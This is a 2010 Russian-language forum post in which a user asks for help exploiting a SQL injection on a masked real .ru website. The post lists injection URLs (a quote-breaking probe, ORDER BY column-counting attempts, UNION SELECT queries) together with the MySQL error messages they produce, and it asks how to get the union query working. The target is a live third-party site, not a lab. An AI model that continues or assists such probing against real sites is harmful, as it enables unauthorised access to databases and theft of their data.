Показать сообщение отдельно

  #9  
Старый 30.01.2010, 21:36
[Feldmarschall]
Участник форума
Регистрация: 06.01.2010
Сообщений: 136
С нами: 8603287

Репутация: 87
Angry

немогу с одной уязвимостью разобратся..

Цитата:
http://****.ru/?лала=11940238')

Выводит ошыбку>

Query failed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\')' at line 1
Делаю>

Цитата:
http://****.ru/?лала=119402381+order+by+1/*

Все идет
Когда делаю вот так>

Цитата:
http://****.ru/?лала=-119402381+order+by+2--

то выходит белый экран

а так>
http://****.ru/?лала=-119402381+order+by+3--

Query failed: Unknown column '3' in 'order clause'
Пробовал разные методы с UNION SELECT и нечего не найду, делаю такой запрос
Цитата:
http://****.ru/?лала=119402381+AND+1=1+union+select+1,2/*
и все время выходит
Цитата:
Query failed: The used SELECT statements have a different number of columns
Подскажите пожалуйста что делать...

я знаю что там
DB Server:MySQL >=5

Последний раз редактировалось [Feldmarschall]; 30.01.2010 в 22:42..
 
Ответить с цитированием